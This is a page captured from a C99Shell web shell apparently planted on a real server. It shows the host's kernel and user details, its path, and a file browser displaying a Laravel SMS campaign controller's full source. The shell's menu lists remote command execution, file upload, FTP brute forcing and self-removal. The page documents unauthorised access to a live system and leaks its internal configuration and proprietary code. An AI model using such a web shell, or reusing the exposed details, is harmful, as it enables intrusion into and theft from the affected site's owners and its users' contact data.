!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CampaignController.php (23.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Jobs\CampaignCreateJob;
use 
App\Models\Campaign;
use 
App\Models\Contact;
use 
App\Models\ContactGroup;
use 
App\Models\Exception;
use 
App\Models\Group;
use 
App\Models\Customer;
use 
App\Models\Message;
use 
App\Models\Number;
use 
App\Models\SmsQueue;
use 
App\Models\SmsTemplate;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Carbon;
use 
Illuminate\Support\Facades\Log;
use 
Maatwebsite\Excel\Facades\Excel;
use 
App\Imports\DuplicateChecks;
use 
App\Export\DuplicateInvalidExport;
use 
App\Imports\CampaignContactsImport;
use 
Illuminate\Support\Facades\Storage;
use 
Illuminate\Support\Str;
class 
CampaignController extends Controller
{
    public function 
index()
    {

        return 
view('customer.campaign.index');
    }

    public function 
report(Request $request)
    {
        
$customer auth('customer')->user();
        if (
$customer->type == 'staff') {
            
$customer $customer->staff;
        }

        if (
$request->campaign_id)
            
$campaign $customer->campaings()->where('id'$request->campaign_id)->firstOrFail();
        
$messageLogs $customer->message_logs()->select(['from''to''body''response_code''updated_at']);

        if (
$request->campaign_id) {
            
$messageLogs $messageLogs->where('campaign_id'$campaign->id);
        }
        if (
$request->response_code) {
            
$messageLogs $messageLogs->where('response_code'$request->response_code);
        }
        if (
$request->campaign_id) {
            
$data['reports'] = $messageLogs->simplePaginate(20);
        } else {
            
$data['reports'] = '';
        }
        
$data['campaigns'] = $customer->campaings;
        
$data['requestData'] = $request->only('campaign_id''response_code');
        return 
view('customer.campaign.report'$data);
    }

    public function 
getAll()
    {
        
$customer auth('customer')->user();
        if (
$customer->type == 'staff') {
            
$customer $customer->staff;
        }

        
$campaings $customer->campaings()->orderByDesc('id')->select(['id''title''start_date''end_date''start_time''end_time''status''import_fail_message']);
        return 
datatables()->of($campaings)
            ->
addColumn('title', function ($q) {
                
$sent_sms $q->sms_queue()->where('schedule_completed''yes')->count();
                return 
$q->title '(' $sent_sms '/' count($q->sms_queue) . ')';
            })
            ->
addColumn('start_date', function ($q) {
                return 
$q->start_date;
            })
            ->
addColumn('end_date', function ($q) {
                return 
$q->end_date;
            })
            ->
addColumn('status', function ($q) {
                
$endDate Carbon::parse($q->end_date->toDateString() . ' ' $q->end_time);
                
$timeDiff $endDate->diffInMinutes(now(), false);
                if (
$timeDiff 0) {
                    
$complete_smsqueue $q->sms_queue()->where('schedule_completed''yes')->count();
                    
$smsqueue $q->sms_queue()->count();
                    if (
$complete_smsqueue == $smsqueue) {
                        return 
' <button type="button"  class="btn light btn-sm btn-primary">Completed</button>';
                    } else {
                        return 
' <button type="button" class="btn light btn-sm btn-warning">Incompleted</button>';
                    }
                }

                if (
$q->import_fail_message) {
                    return 
' <button type="button" class="btn light btn-sm btn-danger">Import Failed</button> <br>' $q->import_fail_message;
                }

                if (
$q->status == 'running') {
                    return 
'  <button type="button" class="btn light btn-sm btn-success dropdown-toggle" data-toggle="dropdown" aria-expanded="false">
                                                Running
                               </button>
                                <div class="dropdown-menu" x-placement="bottom-start" style="position: absolute; will-change: transform; top: 0px; left: 0px; transform: translate3d(0px, 38px, 0px);">
                                     <button data-message="Are you sure, you want to change this campaign status?" data-action=' 
route('customer.campaign.status', ['id' => $q->id'status' => 'paused']) . '
                                        data-input={"_method":"post"} data-toggle="modal" data-target="#modal-confirm" class="dropdown-item">
                                                    Pause
                                     </button>
                                </div>'
;
                } elseif (
$q->status == 'failed') {
                    return 
'  <button type="button" class="btn light btn-sm btn-danger">Failed</button> <br>' $q->import_fail_message;
                } elseif (
$q->status == 'importing') {
                    return 
"<span> <i class=\"fas fa-spinner fa-pulse\"></i> importing</span>";
                } else {
                    return 
'<button type="button" class="btn light btn-sm btn-warning dropdown-toggle" data-toggle="dropdown" aria-expanded="false">
                                                Pause
                               </button>
                                <div class="dropdown-menu" x-placement="bottom-start" style="position: absolute; will-change: transform; top: 0px; left: 0px; transform: translate3d(0px, 38px, 0px);">
                                     <button data-message="Are you sure, you want to change this campaign status?" data-action=' 
route('customer.campaign.status', ['id' => $q->id'status' => 'running']) . '
                                        data-input={"_method":"post"} data-toggle="modal" data-target="#modal-confirm" class="dropdown-item">
                                                    Running
                                     </button>
                                </div>'
;
                }
            })->
addColumn('action', function ($q) {
                return 
'<a href="' route('customer.campaign.statistic', [$q->id]) . '" target="_blank" class="btn light btn-sm btn-info mr-2">Statistic </a>' '<button class="btn btn-sm btn-danger" data-message="Are you sure, you want to delete this campaign? <br> <br> <small>N.B: This will delete all messages including sent and queue related to this campaign.</small>"
                                        data-action=' 
route('customer.campaign.destroy', [$q]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm" data-toggle="tooltip" data-placement="top" title="Delete"><i class="fas fa-trash"></i></button>'
;
            })->
rawColumns(['title''action''status'])->toJson();
    }


    public function 
create()
    {
        
$customer auth('customer')->user();
        if (
$customer->type == 'staff') {
            
$customer $customer->staff;
        }
        
$current_plan $customer->currentPlan();
        if (!
$current_plan){
            return 
back()->withErrors(['failed'=>'Agency doesn\'t have any plan right now']);
        }
        
$data['templates'] = SmsTemplate::where('customer_id'$customer->id)->where('status''active')->get();
        
$data['groups'] = $customer->groups()->withCount('contacts')->get();
        
// $groups =$customer->groups()->withCount('contacts')->get();
        // foreach ($groups as $key => $group) {
        // dd($group->contact);
        // }
        
$data['users_from_devices'] = $customer->activeDevices()->where('device_type','device')->get();
        
$data['users_from_wadevices'] = $customer->activeDevices()->where('device_type','whatsapp')->get();
        
$data['plain_sms']=$current_plan->plain_sms?intval($current_plan->plain_sms'0'):1;;
        return 
view('customer.campaign.create'$data);
    }

    public function 
getTemplate(Request $request)
    {

        
$customer auth('customer')->user();
        if (
$customer->type == 'staff') {
            
$customer $customer->staff;
        }

        
$template SmsTemplate::where('id'$request->template_id)->where('customer_id'$customer->id)->first();

        return 
response()->json(['status' => 'success''data' => $template->body]);
    }

    public function 
store(Request $request)
    {
        
// if($request->schedule == 'on'){
            
if($request->start_date){
            
$schedule explode("T",$request->start_date);
            
$start_date $schedule[0];
            
$start_time $schedule[1];
            
$end_date $schedule[0];
            
$endadd_time $start_time;
            
$end_time date('H:i:s'strtotime($endadd_time) + 5);
          }else{
            
$start_date now()->format('Y-m-d');
            
$start_time now()->format('H:i:s');
            
$end_date now()->format('Y-m-d');
            
$end_time now()->addSeconds(5)->format('H:i:s');
          }
        if (!isset(
$request->regenerate)) {
            
$request->validate([
                
'title' => 'required',
                
'template_body' => 'required',
                
'from_devices' => 'required|array'// a|x:y:z => a=DeviceID, x=SimSlotIndex, y=SubscriberId, z=SimDisplayName
            
]);
        }
        
$all_number '';
        
$numbers = [];
        
$totalTo = [];
        
$totalSmsAmount 0;
        if(!
$request->regenerate) {
            
$to=[];
        }
        if (isset(
$request->regenerate) && $request->customer_id) {
            
$customer Customer::findOrFail($request->customer_id);
        } else {
            
$customer auth('customer')->user();
        }
        if (
$request->recipient_type === 'group') {
            
$contact_groups ContactGroup::whereIn('group_id'$request->group_id)->with('contact')->get();
            if (
$contact_groups) {
                foreach (
$contact_groups as $contact) {
                    
$numbers[] = $contact->contact->number;
                }
            }
            
$all_number implode(","array_unique($numbers));
        }
         elseif (
$request->recipient_type === 'paste_number') {
            
$request_paste_number preg_replace('/\s+/'','str_replace(array("\r\n""\r""\n"), ' 'trim($request->paste_numbers)));
            
$recipient_numbers explode(','$request_paste_number);
            
$recipient_numbers array_unique($recipient_numbers);
            
$insertContact = [];
            foreach (
$recipient_numbers as $recipient_number) {
                if (
$recipient_number) {
                    
$number_code $recipient_number;
                    
$number_without_code $recipient_number;
                    
$preContact Contact::where([
                        
'customer_id' => auth('customer')->user()->id,
                        
// 'contact_dial_code' => $number_code,
                        
'number' => $number_without_code
                    
])->first();

                    if (!
$preContact) {
                        
$numbers[] = $number_without_code;
                        
$totalSmsAmount $totalSmsAmount  1;

                        
$insertContact[] = [
                            
'customer_id' => auth('customer')->user()->id,
                            
'contact_dial_code' => $number_code,
                            
'number' => $number_without_code
                        
];
                    } else {
                        
$numbers[] = $number_without_code;
                    }
                }
            }
            if (
count($numbers) <= 0) {
                return 
redirect()->back()->withErrors(['failed' => 'Enter at last one contact number with reference format']);
            }

            if (
$insertContact) {
                
$customer->contacts()->createMany($insertContact);
            }
            
$all_number implode(","array_unique($numbers));
        }
        
$totalNumber $all_number;

        
$selectedDeviceIds = [];
        foreach (
$request->from_devices as $item) {
            
$deviceInfo explode("|"$item);
            
$selectedDeviceIds[] = $deviceInfo[0];
        }
        if (
$customer->type == 'staff') {
            
$customer $customer->staff;
        }

        
$devices $customer->activeDevices($selectedDeviceIds)->get();
        if (
$devices->isEmpty()) {
            return 
back()->with('fail''Device has been removed or inactive');
        }
        
$deviceUniqueIds $devices->pluck('device_unique_id''id');
        if(
$request->recipient_type !='import_xls') {
            
$totalTo array_map('trim'array_unique(preg_split('/,/'$totalNumber, -1PREG_SPLIT_NO_EMPTY)));
            
$onException Exception::where('customer_id'auth('customer')->id())->whereIn('number'$totalTo)->pluck('number')->toArray();
            
$to array_diff($totalTo$onException);
        }
        
$current_plan $customer->currentPlan();
        if (!
$current_plan)
            return 
back()->with('fail''Customer doesn\'t have any plan right now');

        
$deviceIds $devices->pluck('id')->toArray();
        if (!
$request->campaign_id) {
            
$campaign = new Campaign();
            
$campaign->title $request->title;
            
$campaign->device_ids json_encode($deviceIds);
            
$campaign->customer_id $customer->id;
            
$campaign->from_devices json_encode($devices->pluck('device_unique_id')->toArray());
            
$campaign->to_number json_encode($to);
            
$campaign->start_date $start_date ?? '';
            
$campaign->end_date $end_date ?? '';
            
$campaign->start_time $start_time ?? '';
            
$campaign->end_time $end_time ?? '';
            
$campaign->template_id $request->template_id;
            
$campaign->message_body json_encode($request->template_body);
            
$campaign->message_send_rate $request->send_speed;
            
$campaign->status 'importing';
            
$campaign->sim_info json_encode($request->from_devices); // a|x:y:z
            
$campaign->save();
        }else{
            
$campaign Campaign::findOrFail($request->campaign_id);
            
$campaign->to_number json_encode($to);
            
$campaign->status 'running';
            
$campaign->save();

            
$request['start_date'] = $campaign->start_date;
            
$request['end_date'] = $campaign->end_date;
            
$request['start_time'] = $campaign->start_time;
            
$request['end_time'] = $campaign->end_time;
        }
        
$from $deviceIds;

        
// randomly assigning a from device to a TO number
        
$totalToNumbersCount 0;
        
$totalFromNumbersCount count($request->from_devices);
        
$generatedToNumbers = [];
        
$array = (array)$request->from_devices;
        
$lastKey end($array);
        for (
$i 0$i count($to); $i += count($request->from_devices)) {
            for (
$j 0$j count($request->from_devices); $j++) {
                if (isset(
$to[$i $j])) {
                    
$generatedToNumbers[$request->from_devices[$j]][] = trim($to[$i $j]);
                    
$totalToNumbersCount++;
                }
            }
        }
        if (
$request->recipient_type && $request->recipient_type == 'import_xls') {
            
$importContact = new Group();
            
$importContact->customer_id $customer->id;
            
$importContact->name $request->title;
            
$importContact->save();
            if (
$request->hasFile('import_xls')) {
                
$data $request->file('import_xls');
                
$fileName $importContact->id '.' $data->getClientOriginalExtension();
                
$data->move(public_path() . '/uploads'$fileName);
                
$file_url public_path() . '/uploads/' $fileName;
                try {

                    
/*Start*/
                    
$startDate = (new Carbon($request->start_date))->subDay();
                    
$endDate = new Carbon($request->end_date);
                    
$startTime = new Carbon($request->start_time);
                    
$endTime = new Carbon($request->end_time);
                    
$difference_time $startTime->diffInSeconds($endTime);
                    
$difference_date $startDate->diffInDays($endDate);
                    
$total_minute $difference_time $difference_date;
                    
$send_speed floor($total_minute 2);
                    
//      $send_speed = floor($total_minute / $totalToNumbersCount);
                    /*End*/
                    
Excel::import(new CampaignContactsImport($customer$campaign->id$importContact->id$from$request->template_body$request->start_date$request->end_date$request->start_time$request->end_time), $file_url);
                } catch (
\Exception $ex) {
                    if (isset(
$ex->validator)) {
                        return 
redirect()->back()->withErrors($ex->validator->errors());
                    } else {
                        return 
redirect()->back()->withErrors(['msg' => $ex->getMessage()]);
                    }
                }
            }
        } else {
            foreach (
$generatedToNumbers as $key => $toNumbers) {

                
$deviceInfo explode("|"$key);
                if (!empty(
$deviceInfo[1]) && is_string($deviceInfo[1])) {
                    
$subscriberParts explode(":"$deviceInfo[1]);
                    
$subscriberId = isset($subscriberParts[1]) ? $subscriberParts[1] : '';
                } else {
                    
$subscriberId '';
                }
                
/*Start*/
                
$startDate = (new Carbon($request->start_date))->subDay();
                
$endDate = new Carbon($request->end_date);
                
$startTime = new Carbon($request->start_time);
                
$endTime = new Carbon($request->end_time);
                
$difference_time $startTime->diffInSeconds($endTime);
                
$difference_date $startDate->diffInDays($endDate);
                
$total_minute $difference_time $difference_date;
                
$send_speed floor($total_minute $totalToNumbersCount);
                
/*End*/

                //create new message
                
$newMessage = new Message();
                
$newMessage->customer_id $customer->id;
                
$newMessage->body =  json_encode($request->template_body);
                
$newMessage->numbers json_encode(['from' => $deviceInfo[0], 'to' => $toNumbers'device_unique_id' => $deviceUniqueIds[$deviceInfo[0]], 'subscriber_id' => $subscriberId]);
                
$newMessage->campaign_id $campaign->id;
                
$newMessage->type 'sent';
                
$newMessage->read 'no';
                
$newMessage->save();
                
CampaignCreateJob::dispatch($key$toNumbers$campaign$newMessage$totalToNumbersCount$totalFromNumbersCount$difference_date$startDate$startTime$send_speed$customer$lastKey);
            }
        }

        return 
redirect()->route('customer.campaign.index')->with('success'trans('Campaign created successfully'));
    }


    public function 
destroy(Campaign $campaign)
    {
        if (
$campaign->sms_queue) {
            
$campaign->sms_queue()->delete();
        }
        if (
$campaign->messages) {
            
$campaign->messages()->delete();
        }
        
$campaign->delete();

        return 
redirect()->route('customer.campaign.index')->with('success''Congratulations ! Campaign successfully deleted');
    }

    public function 
status(Request $request)
    {
        
$request->validate([
            
'status' => 'required|in:running,paused',
        ]);
        
$customer auth('customer')->user();
        if (
$customer->type == 'staff') {
            
$customer $customer->staff;
        }

        
$campaign Campaign::where('customer_id'$customer->id)->where('id'$request->id)->firstOrFail();
        
$campaign->status $request->status;
        
$campaign->save();

        
SmsQueue::where('campaign_id'$campaign->id)->where('schedule_completed''no')->where('status'$request->status == 'paused' 'running' 'paused')->update(['status' => $request->status]);

        return 
redirect()->route('customer.campaign.index')->with('success''Congratulations ! Campaign status updated');
    }
    public function 
statistic($id)
    {
        
$customer auth('customer')->user();
        if (
$customer->type == 'staff') {
            
$customer $customer->staff;
        }
        
$campaign $customer->campaings()->where('id'$id)->firstOrFail();
        
$data['messageRunningLogs'] = $customer->sms_queues()->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('schedule_completed''no')->where('status''running')->paginate(20, ['*'], 'running');
        
$data['messagePausedLogs'] = $customer->sms_queues()->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('status''paused')->paginate(20, ['*'], 'paused');
        
$data['messageFailedLogs'] = $customer->sms_queues()->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('schedule_completed''yes')->where('status''failed')->paginate(20, ['*'], 'failed');
        
$data['messageDeliveredLogs'] = $customer->sms_queues()->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('status''!=''failed')->where('schedule_completed''yes')->whereColumn('created_at''<''updated_at')->whereNull('response_code')->paginate(20, ['*'], 'delivered');
        
$data['total_contact']= $customer->sms_queues()->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('schedule_completed''no')->where('status''running')->count();
        
$data['totald_delivered'] = $customer->sms_queues()->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('status''!=''failed')->where('schedule_completed''yes')->whereColumn('created_at''<''updated_at')->whereNull('response_code')->count();
        
$data['total_falied'] = $customer->sms_queues()->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('schedule_completed''yes')->where('status''failed')->count();
        return 
view('customer.campaign.statistic'$data);
    }
    public function 
checkDuplicates(Request $request){
        
$result=[];
        if(
$request->isMethod('post') && $request->hasFile('import_xls')){
            
$randomId=Str::random(16);
            
$import=new DuplicateChecks();
            
$datas Excel::toCollection($import$request->file('import_xls'))[0];
            
$invalidNumbers=$datas->filter(function ($value,$key) {
                return 
strlen($value['number']) < 10 || strlen($value['number'])>12;
            });

            
$invalidNumbers=$invalidNumbers->pluck('number')->all();
            
$duplicates=$datas->duplicates('number');
            
$duplicatesArray=$duplicates->merge($invalidNumbers);
            
$total_validNumbers $datas->count() - $duplicatesArray->count();
            
$result['count']=$duplicatesArray->count();
            
$result['file']=$randomId;
            
$result['total_validNumbers'] = $total_validNumbers;
            
$result['total_Numbers'] = $datas->count();
            
Storage::put("duplicates/".$randomId.".dp",json_encode($duplicatesArray));
        }else if(
$request->id && strlen($request->id)==16){
            if(
Storage::exists("duplicates/".$request->id.".dp")){
                return new 
DuplicateInvalidExport($request->id);
            }else{
                return 
redirect()->back()->withErrors(['msg'=>'File does not exist. Please reupload.']);
            }

        }
        return 
response()->json($result);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0067 ]--